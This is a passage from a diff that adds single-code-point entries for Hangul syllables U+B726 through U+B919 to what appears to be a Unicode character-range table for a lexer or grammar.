+ ["\uB726", "\uB726"], /* Hangul Syllable */
+ ["\uB727", "\uB727"], /* Hangul Syllable */
+ ["\uB728", "\uB728"], /* Hangul Syllable */
+ ["\uB729", "\uB729"], /* Hangul Syllable */
+ ["\uB72A", "\uB72A"], /* Hangul Syllable */
+ ["\uB72B", "\uB72B"], /* Hangul Syllable */
+ ["\uB72C", "\uB72C"], /* Hangul Syllable */
+ ["\uB72D", "\uB72D"], /* Hangul Syllable */
+ ["\uB72E", "\uB72E"], /* Hangul Syllable */
+ ["\uB72F", "\uB72F"], /* Hangul Syllable */
+ ["\uB730", "\uB730"], /* Hangul Syllable */
+ ["\uB731", "\uB731"], /* Hangul Syllable */
+ ["\uB732", "\uB732"], /* Hangul Syllable */
+ ["\uB733", "\uB733"], /* Hangul Syllable */
+ ["\uB734", "\uB734"], /* Hangul Syllable */
+ ["\uB735", "\uB735"], /* Hangul Syllable */
+ ["\uB736", "\uB736"], /* Hangul Syllable */
+ ["\uB737", "\uB737"], /* Hangul Syllable */
+ ["\uB738", "\uB738"], /* Hangul Syllable */
+ ["\uB739", "\uB739"], /* Hangul Syllable */
+ ["\uB73A", "\uB73A"], /* Hangul Syllable */
+ ["\uB73B", "\uB73B"], /* Hangul Syllable */
+ ["\uB73C", "\uB73C"], /* Hangul Syllable */
+ ["\uB73D", "\uB73D"], /* Hangul Syllable */
+ ["\uB73E", "\uB73E"], /* Hangul Syllable */
+ ["\uB73F", "\uB73F"], /* Hangul Syllable */
+ ["\uB740", "\uB740"], /* Hangul Syllable */
+ ["\uB741", "\uB741"], /* Hangul Syllable */
+ ["\uB742", "\uB742"], /* Hangul Syllable */
+ ["\uB743", "\uB743"], /* Hangul Syllable */
+ ["\uB744", "\uB744"], /* Hangul Syllable */
+ ["\uB745", "\uB745"], /* Hangul Syllable */
+ ["\uB746", "\uB746"], /* Hangul Syllable */
+ ["\uB747", "\uB747"], /* Hangul Syllable */
+ ["\uB748", "\uB748"], /* Hangul Syllable */
+ ["\uB749", "\uB749"], /* Hangul Syllable */
+ ["\uB74A", "\uB74A"], /* Hangul Syllable */
+ ["\uB74B", "\uB74B"], /* Hangul Syllable */
+ ["\uB74C", "\uB74C"], /* Hangul Syllable */
+ ["\uB74D", "\uB74D"], /* Hangul Syllable */
+ ["\uB74E", "\uB74E"], /* Hangul Syllable */
+ ["\uB74F", "\uB74F"], /* Hangul Syllable */
+ ["\uB750", "\uB750"], /* Hangul Syllable */
+ ["\uB751", "\uB751"], /* Hangul Syllable */
+ ["\uB752", "\uB752"], /* Hangul Syllable */
+ ["\uB753", "\uB753"], /* Hangul Syllable */
+ ["\uB754", "\uB754"], /* Hangul Syllable */
+ ["\uB755", "\uB755"], /* Hangul Syllable */
+ ["\uB756", "\uB756"], /* Hangul Syllable */
+ ["\uB757", "\uB757"], /* Hangul Syllable */
+ ["\uB758", "\uB758"], /* Hangul Syllable */
+ ["\uB759", "\uB759"], /* Hangul Syllable */
+ ["\uB75A", "\uB75A"], /* Hangul Syllable */
+ ["\uB75B", "\uB75B"], /* Hangul Syllable */
+ ["\uB75C", "\uB75C"], /* Hangul Syllable */
+ ["\uB75D", "\uB75D"], /* Hangul Syllable */
+ ["\uB75E", "\uB75E"], /* Hangul Syllable */
+ ["\uB75F", "\uB75F"], /* Hangul Syllable */
+ ["\uB760", "\uB760"], /* Hangul Syllable */
+ ["\uB761", "\uB761"], /* Hangul Syllable */
+ ["\uB762", "\uB762"], /* Hangul Syllable */
+ ["\uB763", "\uB763"], /* Hangul Syllable */
+ ["\uB764", "\uB764"], /* Hangul Syllable */
+ ["\uB765", "\uB765"], /* Hangul Syllable */
+ ["\uB766", "\uB766"], /* Hangul Syllable */
+ ["\uB767", "\uB767"], /* Hangul Syllable */
+ ["\uB768", "\uB768"], /* Hangul Syllable */
+ ["\uB769", "\uB769"], /* Hangul Syllable */
+ ["\uB76A", "\uB76A"], /* Hangul Syllable */
+ ["\uB76B", "\uB76B"], /* Hangul Syllable */
+ ["\uB76C", "\uB76C"], /* Hangul Syllable */
+ ["\uB76D", "\uB76D"], /* Hangul Syllable */
+ ["\uB76E", "\uB76E"], /* Hangul Syllable */
+ ["\uB76F", "\uB76F"], /* Hangul Syllable */
+ ["\uB770", "\uB770"], /* Hangul Syllable */
+ ["\uB771", "\uB771"], /* Hangul Syllable */
+ ["\uB772", "\uB772"], /* Hangul Syllable */
+ ["\uB773", "\uB773"], /* Hangul Syllable */
+ ["\uB774", "\uB774"], /* Hangul Syllable */
+ ["\uB775", "\uB775"], /* Hangul Syllable */
+ ["\uB776", "\uB776"], /* Hangul Syllable */
+ ["\uB777", "\uB777"], /* Hangul Syllable */
+ ["\uB778", "\uB778"], /* Hangul Syllable */
+ ["\uB779", "\uB779"], /* Hangul Syllable */
+ ["\uB77A", "\uB77A"], /* Hangul Syllable */
+ ["\uB77B", "\uB77B"], /* Hangul Syllable */
+ ["\uB77C", "\uB77C"], /* Hangul Syllable */
+ ["\uB77D", "\uB77D"], /* Hangul Syllable */
+ ["\uB77E", "\uB77E"], /* Hangul Syllable */
+ ["\uB77F", "\uB77F"], /* Hangul Syllable */
+ ["\uB780", "\uB780"], /* Hangul Syllable */
+ ["\uB781", "\uB781"], /* Hangul Syllable */
+ ["\uB782", "\uB782"], /* Hangul Syllable */
+ ["\uB783", "\uB783"], /* Hangul Syllable */
+ ["\uB784", "\uB784"], /* Hangul Syllable */
+ ["\uB785", "\uB785"], /* Hangul Syllable */
+ ["\uB786", "\uB786"], /* Hangul Syllable */
+ ["\uB787", "\uB787"], /* Hangul Syllable */
+ ["\uB788", "\uB788"], /* Hangul Syllable */
+ ["\uB789", "\uB789"], /* Hangul Syllable */
+ ["\uB78A", "\uB78A"], /* Hangul Syllable */
+ ["\uB78B", "\uB78B"], /* Hangul Syllable */
+ ["\uB78C", "\uB78C"], /* Hangul Syllable */
+ ["\uB78D", "\uB78D"], /* Hangul Syllable */
+ ["\uB78E", "\uB78E"], /* Hangul Syllable */
+ ["\uB78F", "\uB78F"], /* Hangul Syllable */
+ ["\uB790", "\uB790"], /* Hangul Syllable */
+ ["\uB791", "\uB791"], /* Hangul Syllable */
+ ["\uB792", "\uB792"], /* Hangul Syllable */
+ ["\uB793", "\uB793"], /* Hangul Syllable */
+ ["\uB794", "\uB794"], /* Hangul Syllable */
+ ["\uB795", "\uB795"], /* Hangul Syllable */
+ ["\uB796", "\uB796"], /* Hangul Syllable */
+ ["\uB797", "\uB797"], /* Hangul Syllable */
+ ["\uB798", "\uB798"], /* Hangul Syllable */
+ ["\uB799", "\uB799"], /* Hangul Syllable */
+ ["\uB79A", "\uB79A"], /* Hangul Syllable */
+ ["\uB79B", "\uB79B"], /* Hangul Syllable */
+ ["\uB79C", "\uB79C"], /* Hangul Syllable */
+ ["\uB79D", "\uB79D"], /* Hangul Syllable */
+ ["\uB79E", "\uB79E"], /* Hangul Syllable */
+ ["\uB79F", "\uB79F"], /* Hangul Syllable */
+ ["\uB7A0", "\uB7A0"], /* Hangul Syllable */
+ ["\uB7A1", "\uB7A1"], /* Hangul Syllable */
+ ["\uB7A2", "\uB7A2"], /* Hangul Syllable */
+ ["\uB7A3", "\uB7A3"], /* Hangul Syllable */
+ ["\uB7A4", "\uB7A4"], /* Hangul Syllable */
+ ["\uB7A5", "\uB7A5"], /* Hangul Syllable */
+ ["\uB7A6", "\uB7A6"], /* Hangul Syllable */
+ ["\uB7A7", "\uB7A7"], /* Hangul Syllable */
+ ["\uB7A8", "\uB7A8"], /* Hangul Syllable */
+ ["\uB7A9", "\uB7A9"], /* Hangul Syllable */
+ ["\uB7AA", "\uB7AA"], /* Hangul Syllable */
+ ["\uB7AB", "\uB7AB"], /* Hangul Syllable */
+ ["\uB7AC", "\uB7AC"], /* Hangul Syllable */
+ ["\uB7AD", "\uB7AD"], /* Hangul Syllable */
+ ["\uB7AE", "\uB7AE"], /* Hangul Syllable */
+ ["\uB7AF", "\uB7AF"], /* Hangul Syllable */
+ ["\uB7B0", "\uB7B0"], /* Hangul Syllable */
+ ["\uB7B1", "\uB7B1"], /* Hangul Syllable */
+ ["\uB7B2", "\uB7B2"], /* Hangul Syllable */
+ ["\uB7B3", "\uB7B3"], /* Hangul Syllable */
+ ["\uB7B4", "\uB7B4"], /* Hangul Syllable */
+ ["\uB7B5", "\uB7B5"], /* Hangul Syllable */
+ ["\uB7B6", "\uB7B6"], /* Hangul Syllable */
+ ["\uB7B7", "\uB7B7"], /* Hangul Syllable */
+ ["\uB7B8", "\uB7B8"], /* Hangul Syllable */
+ ["\uB7B9", "\uB7B9"], /* Hangul Syllable */
+ ["\uB7BA", "\uB7BA"], /* Hangul Syllable */
+ ["\uB7BB", "\uB7BB"], /* Hangul Syllable */
+ ["\uB7BC", "\uB7BC"], /* Hangul Syllable */
+ ["\uB7BD", "\uB7BD"], /* Hangul Syllable */
+ ["\uB7BE", "\uB7BE"], /* Hangul Syllable */
+ ["\uB7BF", "\uB7BF"], /* Hangul Syllable */
+ ["\uB7C0", "\uB7C0"], /* Hangul Syllable */
+ ["\uB7C1", "\uB7C1"], /* Hangul Syllable */
+ ["\uB7C2", "\uB7C2"], /* Hangul Syllable */
+ ["\uB7C3", "\uB7C3"], /* Hangul Syllable */
+ ["\uB7C4", "\uB7C4"], /* Hangul Syllable */
+ ["\uB7C5", "\uB7C5"], /* Hangul Syllable */
+ ["\uB7C6", "\uB7C6"], /* Hangul Syllable */
+ ["\uB7C7", "\uB7C7"], /* Hangul Syllable */
+ ["\uB7C8", "\uB7C8"], /* Hangul Syllable */
+ ["\uB7C9", "\uB7C9"], /* Hangul Syllable */
+ ["\uB7CA", "\uB7CA"], /* Hangul Syllable */
+ ["\uB7CB", "\uB7CB"], /* Hangul Syllable */
+ ["\uB7CC", "\uB7CC"], /* Hangul Syllable */
+ ["\uB7CD", "\uB7CD"], /* Hangul Syllable */
+ ["\uB7CE", "\uB7CE"], /* Hangul Syllable */
+ ["\uB7CF", "\uB7CF"], /* Hangul Syllable */
+ ["\uB7D0", "\uB7D0"], /* Hangul Syllable */
+ ["\uB7D1", "\uB7D1"], /* Hangul Syllable */
+ ["\uB7D2", "\uB7D2"], /* Hangul Syllable */
+ ["\uB7D3", "\uB7D3"], /* Hangul Syllable */
+ ["\uB7D4", "\uB7D4"], /* Hangul Syllable */
+ ["\uB7D5", "\uB7D5"], /* Hangul Syllable */
+ ["\uB7D6", "\uB7D6"], /* Hangul Syllable */
+ ["\uB7D7", "\uB7D7"], /* Hangul Syllable */
+ ["\uB7D8", "\uB7D8"], /* Hangul Syllable */
+ ["\uB7D9", "\uB7D9"], /* Hangul Syllable */
+ ["\uB7DA", "\uB7DA"], /* Hangul Syllable */
+ ["\uB7DB", "\uB7DB"], /* Hangul Syllable */
+ ["\uB7DC", "\uB7DC"], /* Hangul Syllable */
+ ["\uB7DD", "\uB7DD"], /* Hangul Syllable */
+ ["\uB7DE", "\uB7DE"], /* Hangul Syllable */
+ ["\uB7DF", "\uB7DF"], /* Hangul Syllable */
+ ["\uB7E0", "\uB7E0"], /* Hangul Syllable */
+ ["\uB7E1", "\uB7E1"], /* Hangul Syllable */
+ ["\uB7E2", "\uB7E2"], /* Hangul Syllable */
+ ["\uB7E3", "\uB7E3"], /* Hangul Syllable */
+ ["\uB7E4", "\uB7E4"], /* Hangul Syllable */
+ ["\uB7E5", "\uB7E5"], /* Hangul Syllable */
+ ["\uB7E6", "\uB7E6"], /* Hangul Syllable */
+ ["\uB7E7", "\uB7E7"], /* Hangul Syllable */
+ ["\uB7E8", "\uB7E8"], /* Hangul Syllable */
+ ["\uB7E9", "\uB7E9"], /* Hangul Syllable */
+ ["\uB7EA", "\uB7EA"], /* Hangul Syllable */
+ ["\uB7EB", "\uB7EB"], /* Hangul Syllable */
+ ["\uB7EC", "\uB7EC"], /* Hangul Syllable */
+ ["\uB7ED", "\uB7ED"], /* Hangul Syllable */
+ ["\uB7EE", "\uB7EE"], /* Hangul Syllable */
+ ["\uB7EF", "\uB7EF"], /* Hangul Syllable */
+ ["\uB7F0", "\uB7F0"], /* Hangul Syllable */
+ ["\uB7F1", "\uB7F1"], /* Hangul Syllable */
+ ["\uB7F2", "\uB7F2"], /* Hangul Syllable */
+ ["\uB7F3", "\uB7F3"], /* Hangul Syllable */
+ ["\uB7F4", "\uB7F4"], /* Hangul Syllable */
+ ["\uB7F5", "\uB7F5"], /* Hangul Syllable */
+ ["\uB7F6", "\uB7F6"], /* Hangul Syllable */
+ ["\uB7F7", "\uB7F7"], /* Hangul Syllable */
+ ["\uB7F8", "\uB7F8"], /* Hangul Syllable */
+ ["\uB7F9", "\uB7F9"], /* Hangul Syllable */
+ ["\uB7FA", "\uB7FA"], /* Hangul Syllable */
+ ["\uB7FB", "\uB7FB"], /* Hangul Syllable */
+ ["\uB7FC", "\uB7FC"], /* Hangul Syllable */
+ ["\uB7FD", "\uB7FD"], /* Hangul Syllable */
+ ["\uB7FE", "\uB7FE"], /* Hangul Syllable */
+ ["\uB7FF", "\uB7FF"], /* Hangul Syllable */
+ ["\uB800", "\uB800"], /* Hangul Syllable */
+ ["\uB801", "\uB801"], /* Hangul Syllable */
+ ["\uB802", "\uB802"], /* Hangul Syllable */
+ ["\uB803", "\uB803"], /* Hangul Syllable */
+ ["\uB804", "\uB804"], /* Hangul Syllable */
+ ["\uB805", "\uB805"], /* Hangul Syllable */
+ ["\uB806", "\uB806"], /* Hangul Syllable */
+ ["\uB807", "\uB807"], /* Hangul Syllable */
+ ["\uB808", "\uB808"], /* Hangul Syllable */
+ ["\uB809", "\uB809"], /* Hangul Syllable */
+ ["\uB80A", "\uB80A"], /* Hangul Syllable */
+ ["\uB80B", "\uB80B"], /* Hangul Syllable */
+ ["\uB80C", "\uB80C"], /* Hangul Syllable */
+ ["\uB80D", "\uB80D"], /* Hangul Syllable */
+ ["\uB80E", "\uB80E"], /* Hangul Syllable */
+ ["\uB80F", "\uB80F"], /* Hangul Syllable */
+ ["\uB810", "\uB810"], /* Hangul Syllable */
+ ["\uB811", "\uB811"], /* Hangul Syllable */
+ ["\uB812", "\uB812"], /* Hangul Syllable */
+ ["\uB813", "\uB813"], /* Hangul Syllable */
+ ["\uB814", "\uB814"], /* Hangul Syllable */
+ ["\uB815", "\uB815"], /* Hangul Syllable */
+ ["\uB816", "\uB816"], /* Hangul Syllable */
+ ["\uB817", "\uB817"], /* Hangul Syllable */
+ ["\uB818", "\uB818"], /* Hangul Syllable */
+ ["\uB819", "\uB819"], /* Hangul Syllable */
+ ["\uB81A", "\uB81A"], /* Hangul Syllable */
+ ["\uB81B", "\uB81B"], /* Hangul Syllable */
+ ["\uB81C", "\uB81C"], /* Hangul Syllable */
+ ["\uB81D", "\uB81D"], /* Hangul Syllable */
+ ["\uB81E", "\uB81E"], /* Hangul Syllable */
+ ["\uB81F", "\uB81F"], /* Hangul Syllable */
+ ["\uB820", "\uB820"], /* Hangul Syllable */
+ ["\uB821", "\uB821"], /* Hangul Syllable */
+ ["\uB822", "\uB822"], /* Hangul Syllable */
+ ["\uB823", "\uB823"], /* Hangul Syllable */
+ ["\uB824", "\uB824"], /* Hangul Syllable */
+ ["\uB825", "\uB825"], /* Hangul Syllable */
+ ["\uB826", "\uB826"], /* Hangul Syllable */
+ ["\uB827", "\uB827"], /* Hangul Syllable */
+ ["\uB828", "\uB828"], /* Hangul Syllable */
+ ["\uB829", "\uB829"], /* Hangul Syllable */
+ ["\uB82A", "\uB82A"], /* Hangul Syllable */
+ ["\uB82B", "\uB82B"], /* Hangul Syllable */
+ ["\uB82C", "\uB82C"], /* Hangul Syllable */
+ ["\uB82D", "\uB82D"], /* Hangul Syllable */
+ ["\uB82E", "\uB82E"], /* Hangul Syllable */
+ ["\uB82F", "\uB82F"], /* Hangul Syllable */
+ ["\uB830", "\uB830"], /* Hangul Syllable */
+ ["\uB831", "\uB831"], /* Hangul Syllable */
+ ["\uB832", "\uB832"], /* Hangul Syllable */
+ ["\uB833", "\uB833"], /* Hangul Syllable */
+ ["\uB834", "\uB834"], /* Hangul Syllable */
+ ["\uB835", "\uB835"], /* Hangul Syllable */
+ ["\uB836", "\uB836"], /* Hangul Syllable */
+ ["\uB837", "\uB837"], /* Hangul Syllable */
+ ["\uB838", "\uB838"], /* Hangul Syllable */
+ ["\uB839", "\uB839"], /* Hangul Syllable */
+ ["\uB83A", "\uB83A"], /* Hangul Syllable */
+ ["\uB83B", "\uB83B"], /* Hangul Syllable */
+ ["\uB83C", "\uB83C"], /* Hangul Syllable */
+ ["\uB83D", "\uB83D"], /* Hangul Syllable */
+ ["\uB83E", "\uB83E"], /* Hangul Syllable */
+ ["\uB83F", "\uB83F"], /* Hangul Syllable */
+ ["\uB840", "\uB840"], /* Hangul Syllable */
+ ["\uB841", "\uB841"], /* Hangul Syllable */
+ ["\uB842", "\uB842"], /* Hangul Syllable */
+ ["\uB843", "\uB843"], /* Hangul Syllable */
+ ["\uB844", "\uB844"], /* Hangul Syllable */
+ ["\uB845", "\uB845"], /* Hangul Syllable */
+ ["\uB846", "\uB846"], /* Hangul Syllable */
+ ["\uB847", "\uB847"], /* Hangul Syllable */
+ ["\uB848", "\uB848"], /* Hangul Syllable */
+ ["\uB849", "\uB849"], /* Hangul Syllable */
+ ["\uB84A", "\uB84A"], /* Hangul Syllable */
+ ["\uB84B", "\uB84B"], /* Hangul Syllable */
+ ["\uB84C", "\uB84C"], /* Hangul Syllable */
+ ["\uB84D", "\uB84D"], /* Hangul Syllable */
+ ["\uB84E", "\uB84E"], /* Hangul Syllable */
+ ["\uB84F", "\uB84F"], /* Hangul Syllable */
+ ["\uB850", "\uB850"], /* Hangul Syllable */
+ ["\uB851", "\uB851"], /* Hangul Syllable */
+ ["\uB852", "\uB852"], /* Hangul Syllable */
+ ["\uB853", "\uB853"], /* Hangul Syllable */
+ ["\uB854", "\uB854"], /* Hangul Syllable */
+ ["\uB855", "\uB855"], /* Hangul Syllable */
+ ["\uB856", "\uB856"], /* Hangul Syllable */
+ ["\uB857", "\uB857"], /* Hangul Syllable */
+ ["\uB858", "\uB858"], /* Hangul Syllable */
+ ["\uB859", "\uB859"], /* Hangul Syllable */
+ ["\uB85A", "\uB85A"], /* Hangul Syllable */
+ ["\uB85B", "\uB85B"], /* Hangul Syllable */
+ ["\uB85C", "\uB85C"], /* Hangul Syllable */
+ ["\uB85D", "\uB85D"], /* Hangul Syllable */
+ ["\uB85E", "\uB85E"], /* Hangul Syllable */
+ ["\uB85F", "\uB85F"], /* Hangul Syllable */
+ ["\uB860", "\uB860"], /* Hangul Syllable */
+ ["\uB861", "\uB861"], /* Hangul Syllable */
+ ["\uB862", "\uB862"], /* Hangul Syllable */
+ ["\uB863", "\uB863"], /* Hangul Syllable */
+ ["\uB864", "\uB864"], /* Hangul Syllable */
+ ["\uB865", "\uB865"], /* Hangul Syllable */
+ ["\uB866", "\uB866"], /* Hangul Syllable */
+ ["\uB867", "\uB867"], /* Hangul Syllable */
+ ["\uB868", "\uB868"], /* Hangul Syllable */
+ ["\uB869", "\uB869"], /* Hangul Syllable */
+ ["\uB86A", "\uB86A"], /* Hangul Syllable */
+ ["\uB86B", "\uB86B"], /* Hangul Syllable */
+ ["\uB86C", "\uB86C"], /* Hangul Syllable */
+ ["\uB86D", "\uB86D"], /* Hangul Syllable */
+ ["\uB86E", "\uB86E"], /* Hangul Syllable */
+ ["\uB86F", "\uB86F"], /* Hangul Syllable */
+ ["\uB870", "\uB870"], /* Hangul Syllable */
+ ["\uB871", "\uB871"], /* Hangul Syllable */
+ ["\uB872", "\uB872"], /* Hangul Syllable */
+ ["\uB873", "\uB873"], /* Hangul Syllable */
+ ["\uB874", "\uB874"], /* Hangul Syllable */
+ ["\uB875", "\uB875"], /* Hangul Syllable */
+ ["\uB876", "\uB876"], /* Hangul Syllable */
+ ["\uB877", "\uB877"], /* Hangul Syllable */
+ ["\uB878", "\uB878"], /* Hangul Syllable */
+ ["\uB879", "\uB879"], /* Hangul Syllable */
+ ["\uB87A", "\uB87A"], /* Hangul Syllable */
+ ["\uB87B", "\uB87B"], /* Hangul Syllable */
+ ["\uB87C", "\uB87C"], /* Hangul Syllable */
+ ["\uB87D", "\uB87D"], /* Hangul Syllable */
+ ["\uB87E", "\uB87E"], /* Hangul Syllable */
+ ["\uB87F", "\uB87F"], /* Hangul Syllable */
+ ["\uB880", "\uB880"], /* Hangul Syllable */
+ ["\uB881", "\uB881"], /* Hangul Syllable */
+ ["\uB882", "\uB882"], /* Hangul Syllable */
+ ["\uB883", "\uB883"], /* Hangul Syllable */
+ ["\uB884", "\uB884"], /* Hangul Syllable */
+ ["\uB885", "\uB885"], /* Hangul Syllable */
+ ["\uB886", "\uB886"], /* Hangul Syllable */
+ ["\uB887", "\uB887"], /* Hangul Syllable */
+ ["\uB888", "\uB888"], /* Hangul Syllable */
+ ["\uB889", "\uB889"], /* Hangul Syllable */
+ ["\uB88A", "\uB88A"], /* Hangul Syllable */
+ ["\uB88B", "\uB88B"], /* Hangul Syllable */
+ ["\uB88C", "\uB88C"], /* Hangul Syllable */
+ ["\uB88D", "\uB88D"], /* Hangul Syllable */
+ ["\uB88E", "\uB88E"], /* Hangul Syllable */
+ ["\uB88F", "\uB88F"], /* Hangul Syllable */
+ ["\uB890", "\uB890"], /* Hangul Syllable */
+ ["\uB891", "\uB891"], /* Hangul Syllable */
+ ["\uB892", "\uB892"], /* Hangul Syllable */
+ ["\uB893", "\uB893"], /* Hangul Syllable */
+ ["\uB894", "\uB894"], /* Hangul Syllable */
+ ["\uB895", "\uB895"], /* Hangul Syllable */
+ ["\uB896", "\uB896"], /* Hangul Syllable */
+ ["\uB897", "\uB897"], /* Hangul Syllable */
+ ["\uB898", "\uB898"], /* Hangul Syllable */
+ ["\uB899", "\uB899"], /* Hangul Syllable */
+ ["\uB89A", "\uB89A"], /* Hangul Syllable */
+ ["\uB89B", "\uB89B"], /* Hangul Syllable */
+ ["\uB89C", "\uB89C"], /* Hangul Syllable */
+ ["\uB89D", "\uB89D"], /* Hangul Syllable */
+ ["\uB89E", "\uB89E"], /* Hangul Syllable */
+ ["\uB89F", "\uB89F"], /* Hangul Syllable */
+ ["\uB8A0", "\uB8A0"], /* Hangul Syllable */
+ ["\uB8A1", "\uB8A1"], /* Hangul Syllable */
+ ["\uB8A2", "\uB8A2"], /* Hangul Syllable */
+ ["\uB8A3", "\uB8A3"], /* Hangul Syllable */
+ ["\uB8A4", "\uB8A4"], /* Hangul Syllable */
+ ["\uB8A5", "\uB8A5"], /* Hangul Syllable */
+ ["\uB8A6", "\uB8A6"], /* Hangul Syllable */
+ ["\uB8A7", "\uB8A7"], /* Hangul Syllable */
+ ["\uB8A8", "\uB8A8"], /* Hangul Syllable */
+ ["\uB8A9", "\uB8A9"], /* Hangul Syllable */
+ ["\uB8AA", "\uB8AA"], /* Hangul Syllable */
+ ["\uB8AB", "\uB8AB"], /* Hangul Syllable */
+ ["\uB8AC", "\uB8AC"], /* Hangul Syllable */
+ ["\uB8AD", "\uB8AD"], /* Hangul Syllable */
+ ["\uB8AE", "\uB8AE"], /* Hangul Syllable */
+ ["\uB8AF", "\uB8AF"], /* Hangul Syllable */
+ ["\uB8B0", "\uB8B0"], /* Hangul Syllable */
+ ["\uB8B1", "\uB8B1"], /* Hangul Syllable */
+ ["\uB8B2", "\uB8B2"], /* Hangul Syllable */
+ ["\uB8B3", "\uB8B3"], /* Hangul Syllable */
+ ["\uB8B4", "\uB8B4"], /* Hangul Syllable */
+ ["\uB8B5", "\uB8B5"], /* Hangul Syllable */
+ ["\uB8B6", "\uB8B6"], /* Hangul Syllable */
+ ["\uB8B7", "\uB8B7"], /* Hangul Syllable */
+ ["\uB8B8", "\uB8B8"], /* Hangul Syllable */
+ ["\uB8B9", "\uB8B9"], /* Hangul Syllable */
+ ["\uB8BA", "\uB8BA"], /* Hangul Syllable */
+ ["\uB8BB", "\uB8BB"], /* Hangul Syllable */
+ ["\uB8BC", "\uB8BC"], /* Hangul Syllable */
+ ["\uB8BD", "\uB8BD"], /* Hangul Syllable */
+ ["\uB8BE", "\uB8BE"], /* Hangul Syllable */
+ ["\uB8BF", "\uB8BF"], /* Hangul Syllable */
+ ["\uB8C0", "\uB8C0"], /* Hangul Syllable */
+ ["\uB8C1", "\uB8C1"], /* Hangul Syllable */
+ ["\uB8C2", "\uB8C2"], /* Hangul Syllable */
+ ["\uB8C3", "\uB8C3"], /* Hangul Syllable */
+ ["\uB8C4", "\uB8C4"], /* Hangul Syllable */
+ ["\uB8C5", "\uB8C5"], /* Hangul Syllable */
+ ["\uB8C6", "\uB8C6"], /* Hangul Syllable */
+ ["\uB8C7", "\uB8C7"], /* Hangul Syllable */
+ ["\uB8C8", "\uB8C8"], /* Hangul Syllable */
+ ["\uB8C9", "\uB8C9"], /* Hangul Syllable */
+ ["\uB8CA", "\uB8CA"], /* Hangul Syllable */
+ ["\uB8CB", "\uB8CB"], /* Hangul Syllable */
+ ["\uB8CC", "\uB8CC"], /* Hangul Syllable */
+ ["\uB8CD", "\uB8CD"], /* Hangul Syllable */
+ ["\uB8CE", "\uB8CE"], /* Hangul Syllable */
+ ["\uB8CF", "\uB8CF"], /* Hangul Syllable */
+ ["\uB8D0", "\uB8D0"], /* Hangul Syllable */
+ ["\uB8D1", "\uB8D1"], /* Hangul Syllable */
+ ["\uB8D2", "\uB8D2"], /* Hangul Syllable */
+ ["\uB8D3", "\uB8D3"], /* Hangul Syllable */
+ ["\uB8D4", "\uB8D4"], /* Hangul Syllable */
+ ["\uB8D5", "\uB8D5"], /* Hangul Syllable */
+ ["\uB8D6", "\uB8D6"], /* Hangul Syllable */
+ ["\uB8D7", "\uB8D7"], /* Hangul Syllable */
+ ["\uB8D8", "\uB8D8"], /* Hangul Syllable */
+ ["\uB8D9", "\uB8D9"], /* Hangul Syllable */
+ ["\uB8DA", "\uB8DA"], /* Hangul Syllable */
+ ["\uB8DB", "\uB8DB"], /* Hangul Syllable */
+ ["\uB8DC", "\uB8DC"], /* Hangul Syllable */
+ ["\uB8DD", "\uB8DD"], /* Hangul Syllable */
+ ["\uB8DE", "\uB8DE"], /* Hangul Syllable */
+ ["\uB8DF", "\uB8DF"], /* Hangul Syllable */
+ ["\uB8E0", "\uB8E0"], /* Hangul Syllable */
+ ["\uB8E1", "\uB8E1"], /* Hangul Syllable */
+ ["\uB8E2", "\uB8E2"], /* Hangul Syllable */
+ ["\uB8E3", "\uB8E3"], /* Hangul Syllable */
+ ["\uB8E4", "\uB8E4"], /* Hangul Syllable */
+ ["\uB8E5", "\uB8E5"], /* Hangul Syllable */
+ ["\uB8E6", "\uB8E6"], /* Hangul Syllable */
+ ["\uB8E7", "\uB8E7"], /* Hangul Syllable */
+ ["\uB8E8", "\uB8E8"], /* Hangul Syllable */
+ ["\uB8E9", "\uB8E9"], /* Hangul Syllable */
+ ["\uB8EA", "\uB8EA"], /* Hangul Syllable */
+ ["\uB8EB", "\uB8EB"], /* Hangul Syllable */
+ ["\uB8EC", "\uB8EC"], /* Hangul Syllable */
+ ["\uB8ED", "\uB8ED"], /* Hangul Syllable */
+ ["\uB8EE", "\uB8EE"], /* Hangul Syllable */
+ ["\uB8EF", "\uB8EF"], /* Hangul Syllable */
+ ["\uB8F0", "\uB8F0"], /* Hangul Syllable */
+ ["\uB8F1", "\uB8F1"], /* Hangul Syllable */
+ ["\uB8F2", "\uB8F2"], /* Hangul Syllable */
+ ["\uB8F3", "\uB8F3"], /* Hangul Syllable */
+ ["\uB8F4", "\uB8F4"], /* Hangul Syllable */
+ ["\uB8F5", "\uB8F5"], /* Hangul Syllable */
+ ["\uB8F6", "\uB8F6"], /* Hangul Syllable */
+ ["\uB8F7", "\uB8F7"], /* Hangul Syllable */
+ ["\uB8F8", "\uB8F8"], /* Hangul Syllable */
+ ["\uB8F9", "\uB8F9"], /* Hangul Syllable */
+ ["\uB8FA", "\uB8FA"], /* Hangul Syllable */
+ ["\uB8FB", "\uB8FB"], /* Hangul Syllable */
+ ["\uB8FC", "\uB8FC"], /* Hangul Syllable */
+ ["\uB8FD", "\uB8FD"], /* Hangul Syllable */
+ ["\uB8FE", "\uB8FE"], /* Hangul Syllable */
+ ["\uB8FF", "\uB8FF"], /* Hangul Syllable */
+ ["\uB900", "\uB900"], /* Hangul Syllable */
+ ["\uB901", "\uB901"], /* Hangul Syllable */
+ ["\uB902", "\uB902"], /* Hangul Syllable */
+ ["\uB903", "\uB903"], /* Hangul Syllable */
+ ["\uB904", "\uB904"], /* Hangul Syllable */
+ ["\uB905", "\uB905"], /* Hangul Syllable */
+ ["\uB906", "\uB906"], /* Hangul Syllable */
+ ["\uB907", "\uB907"], /* Hangul Syllable */
+ ["\uB908", "\uB908"], /* Hangul Syllable */
+ ["\uB909", "\uB909"], /* Hangul Syllable */
+ ["\uB90A", "\uB90A"], /* Hangul Syllable */
+ ["\uB90B", "\uB90B"], /* Hangul Syllable */
+ ["\uB90C", "\uB90C"], /* Hangul Syllable */
+ ["\uB90D", "\uB90D"], /* Hangul Syllable */
+ ["\uB90E", "\uB90E"], /* Hangul Syllable */
+ ["\uB90F", "\uB90F"], /* Hangul Syllable */
+ ["\uB910", "\uB910"], /* Hangul Syllable */
+ ["\uB911", "\uB911"], /* Hangul Syllable */
+ ["\uB912", "\uB912"], /* Hangul Syllable */
+ ["\uB913", "\uB913"], /* Hangul Syllable */
+ ["\uB914", "\uB914"], /* Hangul Syllable */
+ ["\uB915", "\uB915"], /* Hangul Syllable */
+ ["\uB916", "\uB916"], /* Hangul Syllable */
+ ["\uB917", "\uB917"], /* Hangul Syllable */
+ ["\uB918", "\uB918"], /* Hangul Syllable */
+ ["\uB919", "\uB919"], /* Hangul Syllable */
